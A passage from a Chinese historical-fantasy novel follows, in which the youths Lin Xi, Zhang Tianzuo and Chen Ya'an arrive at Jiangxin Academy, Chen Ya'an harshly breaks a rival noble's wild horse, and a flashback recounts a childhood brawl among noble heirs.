见她渐入佳境,嘴上开始说道,“我虽想随张司宇去著书,可,我一想到要离开清农,要离开你和徐先生,心中就不舍得。”
“天下无不散之筵席,离合乃是常有之事,你又何须如此挂怀?”邱怡随口敷衍着。
“可我——”林兮正想表达着什么,却听邱怡忽道,“张司宇既许你入白陵为官,必定是有条件的,也必定是有代价的。我不管你做何抉择,只是你要先明白,你这般宅心仁厚,白陵于你,未必会是乐土。”
林兮不语,不想邱怡竟有此谋算,还是在行针时分心说出的。
邱怡继续细语道,“你总觉张司宇坦诚,但若有一日,你发现他也是一个心怀鬼胎的,你还愿鞍前马后追随他吗?那时,也许你已涉局过深,纵要离去,也再难抽身了。”
“我——”林兮稍稍顿了片刻,鼓足勇气道,“其实,我真正想讲的是,张司宇已经安排好,要我去江心学宫习武,你想不想跟我去?三年后,我们再在一起去白陵定居,如何?”
说后,便感觉到,刺进皮内的针,收停住了。
她心中明朗过来。
二哥安排林兮去江心,恐怕不是让他为习武而去,真正的目的该是为他改换门庭,以抹去其清农的出身。
对啊,我苦苦查不到小乐的消息,也定是有人抹去了她的出身。
父亲……
一定是父亲做的。我真是糊涂了,父亲怎会给自己留下如此话柄呢?原他早早就做了准备,那为何没将小乐娘亲带回墨白城?难道,她真的是……已经过身了。
如此便简单了,只要确认清农再无人知晓小乐,只要我不再言称是父亲的女儿,那父亲的这段秘辛就不会再见天日了。
心下由此踏实起来,口中却遮掩道,“我到清农,是为学医而来。如若总是三心二意,去想那些旁门左道的事,不知要到何年何月才能治好我的身子。”
林兮呵呵笑着,“你不会觉着我也是个旁门左道、三心二意的人吧?”
邱怡审酌一番,微微摇了摇头,“你不是。但我可以感觉得到,你接近张司宇,就像当初挖空心思接近朱阳王府一般,是有所求的。”
心事被洞穿,反也令林兮觉得安心,毕竟于他而言,是不曾对邱怡设防的,坦然道,“你说的是,我确有所求,还必得是个有权有势的人,才算能真正帮到我。错过了张司宇,我不知道要何年何月,才能再遇到一个这样的人。”
邱怡淡淡埋怨了句,“你遇事时就不能想想,如何靠自己的吗?”
林兮道,“你可知道,我被徐官堂带到清农前,是在哪里生活的?”
邱怡不以为意道,“是凤临城,你提过的。”
“不错,先母是在凤临生下我的,还是在凤临的天牢中。”
邱怡目中一错,“天牢?”
林兮点了点头,“我出生的时候就在那里,到清农前一直都在那里。如果不是当年圣上因白陵双子星降世颁布大赦旨意,恐怕,今时今日,我还在那里。”
邱怡思量着,大赦已
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是十五年前的事了,究竟林母犯了什么重罪,这多年的牢狱刑罚都不足抵。
“我本姓凌,上面还有一位兄长凌居。先父原是宫中御医,听说生前是照料后宫主子娘娘的。可皇后娘娘却以先父治疫不利为由赐下死罪,还将我们一家都抓进了天牢。那时我才落地不久,听我哥说,大赦后,我娘就带着我们哥俩儿在一家药铺谋生。有一天,娘突然吐了很多血,像是中毒了,她让我哥快逃,再也不要回来。可我哥也只认得去太医院的路,他就将我藏进米缸,跑去了太医院,遇到了幻医正和徐管堂,我二人这才躲过一劫。再后来,他们又带我们兄弟俩到了清农,前几年,我哥就去了江邑,说要到那边找门路,查明我娘的死因。”
邱怡思索不语。在时疫用人之际,却对宫中御医赐下死罪,确不合常理。
林兮进而道,“我知你是为我考虑,这份心意我记着了。但是,我也想查清楚,当年害我娘的人到底是谁。”
“你不是已经知道了吗?何况,先皇后已薨逝多年,还有什么可查的?”
林兮一顿,极不自然道,“那我更得有个靠山,才能为爹娘洗刷冤屈。”
“即使你要为父母洗刷罪名,也该保重自身才是。你凭什么认定,张司宇就一定能帮到你?我劝你,还是不要太过相信张司宇的好。”
林兮舒暖,原来,她心里时时刻刻关心的都是自己。暗想间,喜悦之色溢于言表,抿着嘴开心得不行。“我知道,我知道。你还没答我,三年后,要不要随我去白陵?”
邱怡一忖,他多半是被二哥骗蒙蔽了,二哥哪有心思理会后妃间的宫闱事?除非是答应江王,要助他除去先皇后所出的太子,才想着借以林兮父母翻案为由,将这位重要的人证留为己用。
“你再不讲话,我就当你是答应了。”
邱怡抬眼望去,心道,二哥,亏得你满腹玲琅,自视甚高,竟甘心与江王联手。不行不行,我自入清农以来,林兮就帮我甚多,他既有意脱离清农,我更不能置他安危于不顾。
她淡淡点了点头。
这一点头,像是为林兮注入活力似的,从头到脚的血液都跟着沸腾了,令他一连兴奋数日。
林兮每每见她,都是如此精神大好,不忘向徐照借来青花马,让邱怡坐上马儿,牵着她和马匹出城散心。林兮发现,邱怡确是比常人学东西要快,才三两日,竟就可以自己驭马慢行。甚至又要开始担心她,身子架不住这般辛劳。
转眼,到了林兮启程,去往江心学宫的日子。
林兮不仅将自己的药箱留给了她,邱怡送他出城时,还遇见一贩马户,林兮想邱怡既学会骑马了,就带着邱怡走到马贩处,让邱怡去选马。
邱怡抬手指向一匹青骏马和一匹四蹄如雪的黑马。林兮瞧那两匹马精神还行,但比起张司宇的雪花大骏,也是云泥之别。
马贩恭维句“姑娘慧眼!”后,张口就要出五十两的价。
林兮惊住,邱怡亦是囊中羞涩。
“大哥,我们两匹都要,可否便宜些。”林兮划价道。
“小兄弟,你是不知,这姑娘选的都是我从垦岭寻来的良驹。尤其是这匹黑马,收你三十两,绝不欺你。”马贩道。
林兮看了眼那匹瘦如枯柴的黑马,“她哪里懂马,还不是你说哪匹好就哪匹好?”
那马贩仍是不松口,邱怡欲喊走林兮。但林兮知道,今日一别,一人在清农医堂,一人江心学宫,再见怕是难了,送邱怡马,也是希望日后相见方便。随即掏出朱阳王府此先下赏的银两,说道,“就它们吧。”
买好马后,林兮让邱怡先选,邱怡用手拍了拍青马脖边,那马抖了抖,全身的毛都竖了起来。
而旁边的黑马,则温顺地走到了林兮身旁。
23. 犹追旧忆
说回白陵城。
赤元十七年腊月中,陈雅安南赴江邑寻张天作。
出白陵城三十里,见一人一马在前方雪地,恭候已久。毋需猜看,单从那匹与自己坐下几乎无差的雪龙大骏,便可知是何人在前。
陈雅安明知问道,“送我?”
缰绳缓动,白马河川信步踱来,马上人仍是白衣袭袭,衣袂飘飘。“当初,我被发配到极遥去时,也是少主命你和战神出城相送的,今日我便带河川来送送你们。”
陈雅安冷着目,不屑道,“你怎好意思提的?”
张司宇闭目,两年多前,他被白陵君侯发配到极遥,出城时,听到了急急蹄声,回头一看,陈雅安正骑着战神追来。
“我欠少主的,自会还。”
陈雅安轻蔑一瞥,在战神马腿上猛落一鞭,白马战神被激得扬起前蹄,急嘶一声,猛然一纵,如飞羽离弦,擦着白马河川而过。
两马相并之际,陈雅安更是坚坚一声,“你准备拿什么还?”
急骤的马蹄声愈发远去,张司宇的白马独立雪域,陈雅安留在雪路的话,冰锥心痛。
这白马战神,较之河川,更为英骁。与其说是战神,不如说是杀神,见沟越沟,见冰碎冰,好像要踏穿白茫无尽的漫山川雪,无视一切冰川沟壑,纵是大邺的万里山河,在它而言,不过一场风卷残骑。
陈雅安一路狂行如梭,终于,在正月初五赶到了江邑都城。
“雅安,你来啦!”
陈雅安瞧见脸圆润一圈的张天作正向自己迎来,正欲说话的功夫,久不见他的张天作已然飞扑到自己肩头上。陈雅安拍了拍他背,扫了眼远远站在后方怯视着的潘俊乔,打趣道,“天作,你到江邑倒是自在了,入了正月,可要想着服药了。”
张天作却更加亲切,瞪大了眼问道,“雅安,可是母亲命你来接我回家的?”
陈雅安点了点头,说道,“夫人命我来送你去江心学宫。”
张天作一听自己还是要去江心学宫,正准备撒娇,但看陈雅安板正的嘴脸,又灰溜溜道,“雅安,我不想一个人去,你陪我去吧。”
陈雅安似乎已经习惯张天作的孩儿气之言,像是哄小孩一般,说道,“我送你去安顿好,就得回白陵的。”
“那我真的要在江心学宫独自待上三年了吗?这样,你速送信回白陵,要楚英在江心学宫等我。”
陈雅安说道,“天作,您若真想带人,从这儿选几个人带上吧。”
张天作极度不愿,撒声道,“难道只能如此了?”
陈雅安目色一隐,“天作,你先去江心待着。我回到白陵后,处理好手中的事,就让楚英去找你,可好?”
张天作温甚点了点头。
“二公子,邑侯现在何处?”陈雅安向后方的潘俊乔问道。
潘俊乔惧怯着陈雅安,说道,“父亲在书房。”
“夫人有几句话托我带给邑侯,我去一下。”陈雅安向张天作说明后,便去向江邑君侯潘怀的书房。
邑侯将陈雅安带到后方一僻静花园,将自己聚拢的一批人唤来,供陈雅安检阅。陈雅安在其中选了四人,命那四人年后就离开江邑,或去云间城,或去燕山城,先行落脚蛰伏,再寻机潜入白陵城。
两日后,他便带着张天作和两名随从离开了江邑。
陈雅安在江邑当地为张天作置办了几箱行李,让随从驾车送到江心学宫。而他与张天作,则快马先行。
张天作虽是金银玉养的,但骑马对他而言不在话下。张天作一路驰行,不断举目四顾,一山一水,一景一点,都使他感到神怡心醉。
“雅安,许久没有策马扬鞭了!”张天作快意道。
陈雅安看着心情甚好的张三公子,眼帘轻眯了下,说道,“怎么?要跟我比比?”
张天作望了眼他驱策的雪龙大骏,紧摇头道,“莫跟我玩笑了,任着战神跑起来,我怎跟得上?”
陈雅安欣慰一笑,仍让着张天作的马跑在前处。
张天作虽娇生玉养,但一路有陈雅安的陪伴,似乎比在江邑时还要开怀,寒意也被即将到来的春天赶走,一路上他看到怡人的景致,还不忘感慨自己未将琴带在身边,不然可为这自然之章即兴一曲。
八日后,凤临境地,江心学宫。
一江融着冰的春水,正在远处泛着微光,一闪一闪的。太阳把钟灵江染成一条条透青透亮的罗带,轻飘飘落在群峰叠翠正中。那是一片开阔辽远的水面,水的四周环着仙飘雾灵的钟灵山,在一片湛蓝下,烟融景淡。
二人进山,一路白鸥翔伴,溶溶漾漾,净绿相迎,郁郁青青。
座落在山江交处的江心学宫,仙山琼阁,红墙绿瓦。
陈雅安凝着顶上浮翠般的琉璃瓦,耳旁回忆起白陵少主的声音,“雅安,惜我不识机关之道。你这双巧手,真是可惜了。”
恍神之际,门处恭迎的张鹏已迎上二人。
“三叔,新春贺吉。”张天作下马,恭恭敬敬地向三叔行了个礼。
侄儿拜年,张鹏亦是笑意盈盈,掏出两袋荷包,一份给道张天作,“大吉大吉,天作,这是你的长岁钱。”
另一份给到陈雅安,“这份是给雅安的。”
“谢谢三叔。”
“多谢三爷。”
张天作见到叔叔,自是欢欣雀舞。张鹏见到侄儿,亦是乐不可支,边寒暄,边领二人去见江心学宫大首座赵道人。
“墨白城天作之合馆,张天作,见过大首座。”张天作拱手问候道。
“不愧是陵侯爷爱子,眉眼间,还有几分陵侯的模样。”赵道人朝张鹏赞许着。
张鹏扶须欣笑,连连颔首。
赵道人又注意到跟在张天作身后的陈雅安,见那人面容俊极,仪如白玉烧冷,若说面泽润玉的张天作一眼看便知是位贵公子哥,那陈雅安越是细品就越是佚貌仙材,问道,“这位公子不知出自白陵哪门世家?”
陈雅安回道,“墨白城天作之合馆,陈雅安。”
赵道人饶性点了点头,满意道,“仪表不凡,不愧是白陵少主亲自举荐的。”
陈雅安眉间一疑,“少主跟大首座提过我?”
赵道人款款道,“日前,白陵少主致书信一封,说你之双手甚是敏巧,是难见之才,希望开物门收你入门下。”
“什么?”张天作疑声道。
陈雅安亦十分不明。
“不错,我对张少主神交已久,白陵少主在信中说你向往此术,请我看在陵侯爷面上,为你破个例,许你入开物门习机关之道,待张三公子三年学满后,你再随他一并回白陵。”
陈雅安回道,“多谢大首座美意,我还有要事在身。待我回白陵,自会向少主禀明原委。”
“不急,白陵少主另有一封书信交你,说待你看完信,便会明白。”说着,赵道人掏出一封信交予陈雅安。
陈雅安扫掠数眼,凝思片刻,说道,“好,我听少主安排。”
张天作听后喜异交织,但
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碍着赵道人在,只说了几句客套话。
二人安排好屋舍后,张天作一刻不待地叫来陈雅安,问他要来适才赵道人交给他的书信看。
「致仁兄陈君雅安,
时令问候,春寒料峭。久不通函,至以为念。云天在望,不尽依依。
犹追旧忆,特拜请江心学宫开物门首座通例,收君入门,幸甚幸甚。诸事如旧,吾安勿念。三年期短,但祈君守。仅此一次,下不为例。
谨凭鸿雁之传,伫望白云之信。
言不尽思,再祈珍重。
之合敬上」
“雅安,这封信是怎么回事?”张天作问道。
陈雅安咬着唇,齿间挤出三个字来,“张,司,宇。”
“什么?你是说,这信是,二哥送来的?”
陈雅安抬眼,对张天作道,“没想到,他竟留了一手。你看,他也在信里说了,仅此一次,下不为例。”
张天作搭了搭眼道,“二哥既有此意,怕是难拂。依我看,你就既来之则安之吧。”
陈雅安视了视因自己可留下陪他而余兴之极的张天作,无奈道,“既然是少主为我求的,我也不能让少主失了颜面。”
“对嘛对嘛。如果楚英能来,就更好了。”
咚咚咚!
“何人?”房内传来一阵低沉而冷漠的声音。
“精武门张鹏座下弟子林兮,特来拜见张三公子。”林兮回道。
陈雅安瞥向张天作,张天作听到来人是三叔之徒,闪身端坐正中,命令道,“开门吧。”
门后又现那副林兮生平未见过的俊脸,尤其是这人,去了官身后,穿着身不甚张扬的精致黑衣,更是衬出他那白俊至极的样貌。
林兮拱手问候道,“陈大人。”
陈雅安看到林兮的脸孔,生出一股警意。
林兮进屋后,见一天青绸衫的少年正坐屋内,颈间挂着一金灿项圈,面如温玉,眸似丹凤,峰眉间透着淡淡的笑意,十分养眼。此前,他总觉陈雅安似冰山玉石,一遇张天作后,才知何为陌上人如玉。
“张鹏师尊座下弟子林兮,见过三公子。”林兮作礼道。
“三叔交代了,在江心学宫看入门先后,无论家世,我虽未拜入三叔门下,但我既跟随三叔习武,也理应唤你声师兄才是。林师兄,叫我天作就好。”
“这怎敢当?”林兮回道。
“无妨无妨,这又不是白陵。”张天作目光移向陈雅安,又玩笑道,“这里也没有陈大人。”
林兮本忐忑不已,但看张天作这般温和,心中也松弛下来,“细说,我也是今年才入门,若天作不见怪,喊我林兮就好。”
“你是哪年生的?”张天作又问道。
“在下赤元元年四月生人,早你一年。”
“咦?你怎会知我的生辰?”张天作说道。
“大邺何人不知,赤元二年,白陵有一对双子星降世。”林兮讨好道。
张天作喘着笑息道,“白陵双子星?”
“民间早有传言,说白陵君侯的孪生子,像天上的星辰一样闪耀,不是白陵双子星又是什么?”林兮道。
张天作闻后,自洋一瞬,“你若见过另一颗,才知何为真的耀目。”
“津化聂氏,特来拜见。”门外传来粗壮一声。
聂,是津化城君侯之姓。林兮心道,白陵张家的盛名远扬,纵到了江心学宫,亦有望族相拥相顾。
“雅安,快去请。”张天作吩咐道。
24. 温温公子
一男子随陈雅安入门,那男子自称是聂风,通过张天作之口得知,他是津化君侯的长公子。林兮注意到,那男子进屋后,总是有意无意看着陈雅安。
寒暄半晌,那男子才开口试问道,“天作,可是白陵少主也随你一同来钟灵山了?”
陈雅安虚咳了咳,张天作摇起了头。
聂风惋声惜叹,“是我误会了,我看陈兄在,以为张少主也来了呢。”
“雅安是随我来的。”张天作说道。
聂风黯然,“天作,前几日听师父说你将来江心练武,刚才又有人说见到你了,我特来看看。”
“不说我倒忘了,在这,我得唤你声聂师兄才是,这位小哥是三叔今年新入门的徒弟,叫林兮。”张天作指向林兮说道。
林兮紧忙向聂风拱手道,“聂师兄。”
“师弟,我是聂风,前年拜入师门的。下面还有一位叶师弟,眼下他还不在屋舍,待见到了,我介绍于你。”聂风说道。
“好啊,等叶师兄到了,我作东,同门先行聚聚。”张天作张罗道。
聂风爽快回应道,“你新入门,我们做师兄的怎好要你破费。我那儿已备好了酒菜,就等叶师弟回来了呢。”
“聂师兄可知叶师兄是去了何处?”张天作好奇道
原来,今年入门的,有一位百里坤,他是垦岭百里君侯的小公子。那人格外张扬,好玩成性,无论到哪儿,都像是要扯旗放炮一般,恨不得所有人都可注意到他。
这次来到江心学宫,他也是做足了噱头,从垦岭大荒的草原寻了匹烈马,听他说,这匹马性之烈,如一道黑旋风似的,三五个经验丰富的驯马师见了,都不敢上前,生怕被它踢出个闪失。百里坤虽未驯住它,但也想出了新玩儿法,叫人用绳套住马的身子,一路从垦岭趔到了江心学宫来。
他将那马送到江心学宫马房时,更是十分哗众地叫嚣,各望族世家少爷小姐带来的马匹乃大残大次,和他的黑马比起来,孰龙孰虫,显而易见。各家小姐倒是无甚放在心上,但那些少爷公子们,尤其是精武门的“少侠”们,怎许得他这般嚣张?此刻,叶凯叶师兄正跟精武门的师兄弟们在马房,准备教训教训这位垦岭来的小公爷了。
张天作听了,不屑笑道,“他当自己现下是在垦岭吗?这般嚣张。”
“是啊。师父最忌我们争强好斗,叶师弟也只是去看看热闹。不会儿就回来了。”聂风说道。
张天作泯然一笑,说道,“三叔忌的可不是争强好斗。三叔跟家父是一个路子的,家父管教甚严,时常告诫我等在外不要寻衅。但聂师兄,你可知后一句是什么吗?”
聂风摇了摇头,张天作继续道,“若是真与人争较,张家人就绝不能输。三叔不是怕你争强好斗,而是怕你们争不过,才说不许你们争强好斗的。你可还记得六年前的凤临江宴吗?”
聂风放声一笑,说道,“哈哈哈,我竟忘了。不错不错,天作你所言极是。”
张天作甩甩手道,“随他去吧。他是什么人,也配得上我等与他一般见识?”
林兮自接触河川以来,对马生了兴趣。但见聂风和张天作都无意去看那匹如旋风般的烈马,自也是不好意思张口。
这时,从马场回的叶凯也进到了张天作屋内,说起那匹马来。起初,张天作甚是不以为然,但叶凯说,百里坤正将自己的那匹黑马与马房中的匹匹良驹一一比较,无论比到哪一匹,都说不如自己从垦岭带来的马儿。
陈雅安好像被人戳脊梁骨似的,眼神中透着隐隐幽幽的暗芒。
张天作亦问道,“他可见到一匹雪龙骏了?”
“有,是有匹雪龙骏,又壮又高,不知是谁的。百里坤说那马就是样子看着好看,真要跑起来肯定不中用。”叶凯说道。
林兮说道,“那似乎是白陵少主的马。”
“白陵少主也到江心了?”叶凯向张天作问道。
张天作听到自家的马被人说道,心中正气。
还是聂风回道,“白陵少主没来,是天作骑少主马来的。”
“战神还未受过这种气。雅安,走,随我去会会那百里坤。”张天作气着声道。
不等聂风劝拦,就见张天作和陈雅安已经出了门。林兮和叶凯见状,亦拉着聂风一道跟了去。
马场已聚了成群人,环成半圈,其中有公子少爷,也有随从下人,多是精武门的学生。中间站了一个看着就显顽劣的异域少年,眉骨和鼻梁高挺,眼窝却很深,连发丝也卷曲曲的。虽着了一身靛蓝朱紫的锦衣,但林兮却觉比起张天作的贵气玉润,那位少年华衣满身尽是铜气。
走上时,那少年还不住吆喝似的,“你们真的没见过这么好的马吗?”
忽从人后传来一声响亮的话音,“你休夸口。”
只见人群中走出一青蓝衣着的少年,远远看去,温气玉成,眼神更是和暖,朱紫衣色的少年将他全身打量一番,似是见过,猜测道,“你是,张天作?”
“是,六年前凤临江宴,就是本公子下手揍的你。”张天作扬声回道。
百里坤一抖,紧张兮兮地朝张天作身后瞥了一眼,看没有张之合的身影,才悄悄松了口气,“张天作,我夸我的马,关你什么事?你若有好马,就拿来比比,若没有,就一边看着去。”
一匹黑亮黑亮的马此刻正鬃奋蹄刨,颈间鬃须长散,散垂凌拂,姿态仿似马中之王,骄傲得很。
张天作顿了顿,问道,“适才是你说战神不中用的?”
“战神?什么东西?”
张天作指了指远处马棚下的那匹雪光亮白的骏马,盛喝道,“我要你跟战神道歉。现在,立刻,马上。不然,信不信我再揍你一顿?”说着,还抬出了拳头。
百里坤后踱两步,叫嚷道,“张天作,你搞清楚。我这是比马,不是比拳脚。你的马本就不如我的马,说它两句怎么了?我是什么身份?你竟要我跟一匹不中用的破马道歉。”
张天作必定不让,豪声道,“战神乃白陵万里挑一的良骏,哪里不如你的马了?”
百里坤故意道,“巧了,我这马也是我垦岭万骏之首。不仅跑得比你白陵马快,更是难驯。垦岭十几位驯马师相过后,都说这马难治。”
“我明白了,原
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来不是你垦岭马匹难驯,是你垦岭的人不行。”张天作笑道。
百里坤见张天作上套,又激将道,“毛头小子,你懂什么?圣上都说过,垦岭骏马无双。张天作,你没见过好马就别胡言。”
百里坤此言不假,垦岭是百兽聚生之地,莫说垦岭的马无双,更有狮虎,他地难见。
张天作气急上头,指着白马战神,向百里坤嘲讽道,“百里坤,你看那匹马,当年送来时,比你这马可烈得多了,还不是被我二哥制住了。你这马若垦岭真无人驯的住,可送到白陵去,二哥闲暇之余,就可捎带手帮你驯了。”
“张天作,你说了这么半天,还是要靠哥哥的。”百里坤反嘲道。
张天作噎得说不出道道,气冲冲道,“废话少说,快去跟战神道歉。”
百里坤笑道,“好好好,战神是吧?只要你那战神能跑过我这匹,我就跟你的马道歉。当然了,你哥哥若能将这马驯住,本公子也愿将这马送给他。”
张天作回看了看陈雅安,陈雅安向他轻点了点头。又转正脑袋道,“我白陵城可驯这马者大有人在,何必烦劳二哥走这一趟。”
这匹从垦岭带来的烈马,百里君侯曾说过就是最好的驯马师出手,驯服此烈马也要个把月,但此马太过暴烈,若落马摔伤,当真是不合算。
百里坤信心十足道,“还请白陵张三公子为我等开开眼。”
“雅安,去!”张天作喝令道。
陈雅安闻声向那匹黑马凑了去,见它全身墨亮,胸宽腰细,后臀处更是曲如满弓,鬃须散得如秋后杂丛,那条马尾更是贴到了地上。
大黑马见陈雅安靠来,即竖耳冲目,状态更为凶暴。
陈雅安再迈进三两步,黑马警地昂起头,对他转来旋去,突地腾起前蹄,不让他靠近。陈雅安无奈后行两步,黑马又霎地奔向远处。
看那黑马越跑越远,百里坤讽笑道,“白陵人就是这么驯马的吗?”
却并无人附和其声,都盼着陈雅安真能将那黑马驯了,煞一煞百里坤适才的狂嚣。
陈雅安长唿哨一声,白马战神长耳一竖,猛然一跃,挣断马缰,向陈雅安冲来。陈雅安飙住马鞍,翻上了去,驱着白马向暴烈黑马追去。那大黑马亦是桀狂,迅速拉开距离,飞箭似的向山林蹿去。陈雅安夹紧马腿,白马奋蹄进跃,只几眨眼,便驰到黑马近前。
二马几乎并排。而那白马,不知是它的斗性,还是骑马者的斗性,稍稍超出黑马半个位后,竟侧身挡住黑马的去路,逼得黑马不得不掉过头,在白马的驱驰下,反朝人众出冲来。
张天作得意,“追上了。”
陈雅安一夹马臀,二马再度并驱驰行数里。陈雅安从白马鞍囊中拎出鞭,扶住鞍,蹬起马镫,瞅准一个空档,飞身一纵,跃到黑马背上。狠狠抽了两鞭,黑马受激,嘶怒蹶蹄,窜了足足十余尺高,便驮着陈雅安不顾死活地向湍流河道冲了过去。
这一幕把对陈雅安信心十足的张天作都惊出虚汗,后悔派出陈雅安去驯马,生怕他有闪失。百里坤更是如看笑话般等着黑马何时把他飞甩出,等着看他落水惨状。
25. 剑琴鹰犬锋芒小试
那黑马的性子当真烈骜,驼着陈雅安踏进急河。随着声嘶鸣,那马前方两蹄在水中疯狂刨抓起来,水点飞溅,恨不能将河水踏为碎片。
眼见河水没过马背,已湿上他腰,那马臀还在水下剧烈甩动,甩得他整个身子都跟着左右悬幌。稍一失神,就将被抛进激流。
陈雅安奋力扑向马首,双腿死死夹住马腹,而后,拖着全身的力将马头摁进水面。马儿霎地挣扎起来,可陈雅安还不愿放过他,不等它冒出头来,又无情落了数鞭。
林兮听得极不落忍,心想,这几鞭若落在白马身上,怕是能瞧出殷红的痕印了。
等黑马终于在水中站稳时,陈雅安猛然贴住马腰,跨上马背。一手摁着马头处的毛鬃贴向水面,另一手不留情面地抽鞭,可那马却只不住嘶鸣,哀求声愈来愈低。
张天作见那马没了脾气,正在向陈雅安求饶似的悲鸣。扭脸看向百里坤,无声胜有声,百里坤亦被惊得不出声。
陈雅安又一声唿哨,白马战神向他驰了去,而他,双手抓着黑马的鬃须,右手拽便随着他向右,左手拽便随着他向左,十分乖驯。陈雅安手带鬃须,驭着黑马上了地,那马浑身湿漉漉的,却不敢抖动半下,粗重的喘声俨然盖过啼声。
他纵着那马向百里坤去,白马战神紧随。到百里坤身边,他才跳下马。
张天作惊诧望向湿成“水狗”的陈雅安。此前,姚都督献来的那两匹雪龙骏,张司宇也是驯了几日才将两马彻底降下。
当时,有听妹妹向陈雅安问道,“雅安,此马你制得住吗?”,他瞧见陈雅安也是如刚刚那般点了点头,以为陈雅安驯马之技应是与张司宇不相上下。不想才约莫一炷香的时间,他竟用如此残暴的方式将一匹烈畜驯得服服。
人群中爆响起叫好声,连连鼓掌。
张天作关心上前,悻悻问道,“雅安,百里公子这马真的那么难驯吗?”
陈雅安拍了拍黑马的颈,黑马才抖了抖头,开始甩身上的水珠。
“公子,这不是制住了吗?”
百里坤一时被震住,几乎不敢相信适才眼前这个面俊的少年,对待那匹烈马的手段竟比那马还要暴烈。
百里坤惊了良久,才开口问道,“你懂驯兽?”
“不懂。”
“你怎驯得如此烈马?”百里坤又问道。
陈雅安回之一抹轻笑。
张天作道,“百里坤,比这性子还烈的,他都驯得住,区区一匹马,又算得什么?”
百里坤失语。
张天作问道,“白马适才可跑赢黑马了?”
百里坤不服道,“赢了半身。”
白马战神哪是赢了半身,它是在后敢追反超出了半身,又拦住那黑马的去路,逼得它不得不掉头回跑。
“半身就够,还不快快向战神道歉!”张天作催促道。
百里坤哪低得下头?怒冲冲向白马甩了句,“道歉。”便甩手离去了。
陈雅安指着他才刚驯住的那匹湿马问道,“公子,这个怎么处置?”
张天作瞥了瞥,“姑且留着吧。”
待陈雅安将一黑一白二马安置回马棚,回房更衣。随张天作去往聂风处。
聂风不住赞道,“陈兄,真是好手段。”
连叶凯也说,“素闻天作之合馆一剑一琴,一鹰一犬,举世无双。今日虽未见到天作公子的那张琴,但这只‘犬’确是不同凡响,那百里坤,都傻得说不出话了。”
林兮与聂风听了,随着他一并敞怀大笑了数声。
“诶。”张天作故作神秘道,“各位师兄有所不知,小弟是那张琴不假,但雅安,他可不是那只‘犬’。”
视着几人猎奇的目光,张天作又道,“楚英,他虽名字中有个‘英’字,但实则,他才是我天作之合馆的那只,汪汪呢。”
“原是有误会,陈兄,失敬,失敬。”聂风说道。
张天作为聂、陈二人圆场道,“无妨,他左右不过是吾妹的鹰犬,鹰犬鹰犬,既可是鹰,又可作犬。”又举杯向陈雅安,“雅安,幸好你随我上了江心学宫,要是楚英在,我二人还不知怎对那匹烈马了。”
陈雅安微眯起的眼,透出了鹰隼般锐利,“楚英,他肯定也有法子的。”
张天作想了想楚英那副莽性,玩笑道,“不错,楚英若在,想那匹马今日定成为精武门众位师兄的下酒菜了。”
几人闻声,又随着张天作笑成一团。陈雅安回味一下他那楚英兄弟举刀向马的情形,嘴角也不自觉提了提。
叶凯进而恭声道,“看来,这位楚大公子也不是吃素的。”
“那何止不是吃素?叶师兄,你是不知,自从楚英进了天作之合馆,我们几人的风气都被他带歪了。此前,只是抚抚琴,练练剑,风雅得很。自那家伙一来,连二哥都说,我等简直成了一丘之貉!”张天作苦声道。
林兮觉这位白陵的张三公子性情着实可爱,对内宽和平易,对外,那百里坤不过是说了句自家马不行,竟找了上门去让人家向马儿道歉。
“天作公子,今日你说,你曾揍过百里坤一顿,快,给我们说说,是什么个情形。”叶凯询道。
聂风闻后,回想起六年前凤临江宴的情形,更是苦笑不断。
六年前,太子册立大典,献帝邀诸城君侯往凤临观礼。
列位君侯议事,年纪相仿的小公子们寻了一块儿空地玩耍。有人来报,说太子与燕侯的大公子齐豫生出口角,六皇子不忿,正与齐豫大打出手。
齐豫年纪大,个子高。六皇子直接掏出一盒的蝎子,倒入齐豫的领口。
旁观的公子们虽想上去帮忙,但怕被蝎子蜇到,只围在一旁干瞪眼,眼睁睁看着齐豫叫苦的模样。唯有他弟弟齐丞站了出来,但他也不敢上前,只揪着六皇子,挥出拳头。这时,百里城和百里坤也上前帮六皇子与齐丞扭打,随后又有几位小公子上前参战。下人们亦不敢上前相拦,才想着去叫圣上与诸城君侯来定纷止争。
彼时,陵侯已经有意立张之合为白陵少主,所以议事时,便带在了身边。还不等圣上发话,张之合就对那来报的人说道,“你这人是何居心?区区小儿打架,竟胆敢烦劳各位叔伯出面,伤了各城和气,你可担待得起?”
献帝寻思张之合说的也有道理,小孩子之间的事,大人插手,意思就不一样了。问张之合可否有解决的法子。
张之合只道,“陛下放心,臣女自有法子叫他们停手。”
献帝甚喜,对张之合说道,“之合,你父亲跟我提了,想立你为白陵少主。朕总觉你年纪还小,
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定的是不是早了些。你若真能让他们停手,不再打了,朕就应了此事,封你做白陵少主。”
张之合领命去了事发之地。
见到齐豫浑身痛痒的模样,即刻喝道,“他都折磨成这样了,你们怎一个上前帮他的都没有?”说着就捡起一只木棍,在齐豫周身刷刷挥了数下,将一只只蝎子拨开,然后又让张天作把外袍脱下,盖上那群蝎子,跺踩数脚。
然后,看六皇子几人还是打在一团,又对张天作说道,“天作,你就看着他们打架吗?”说着,便以棍为剑,比划开张家剑法,无论是参战的皇子和公子,还是旁观的皇子和公子,无一幸免。张天作见状,也捡起一根木棍,随妹妹一同将众家公子暴揍。
那年的张天作和张之合即使才十岁,但他二人自幼习武,对上一群和他们年纪差不多大的孩童,又有谁会是这对家学渊源的兄妹的对手?
几家公子们被揍的浑身痛肿,叫苦不迭,张之合却潇潇洒洒说了句,“我是奉圣命来教育你们的,有种就去向圣上告状。”
献帝那边听闻张之合将所有皇子公子不分青红皂白地打了一顿,几家孩子还不敢前来告状,不忘和陵侯打趣道,“虎父无犬女。君无戏言,白陵少主,朕就是不舍得给之合,也要给了。”
陵侯亦是护短,将这场小小闹剧定义为小孩打架,不了了之。从此,各家公子见到白陵这对双子星,尤其是见到张之合,再无人去招惹。
“你们是不知,当时不仅是各家叔伯,连圣上都被惊住了。六皇子哪受过这样的打,满脸都是血,一直向圣上哭鼻子。可圣上有言在先,也不好说什么。最后,还是家父,将他的符光剑解下来,送给六皇子,才将他哄好的。”张天作回忆道,眼神中夹着哀色。
叶凯听后,说道,“天作公子,你们这天作之合馆是什么样的风水宝地?这‘一鹰’今日已令我大开眼界,不想这‘一剑’更是石破天惊!”
聂风也附和说,“今日张少主若在,想必是要马踏百里了。”
张天作道,“借他十个胆子,也不敢胡来。”
“公子,你既平安到了江心学宫,是不是也该向少主和夫人报声平安?”陈雅安说道。
张天作一拍脑门,“我竟忘了,我这就去回封家书。”说着,张天作和陈雅安便起了身,与几人告别回房。
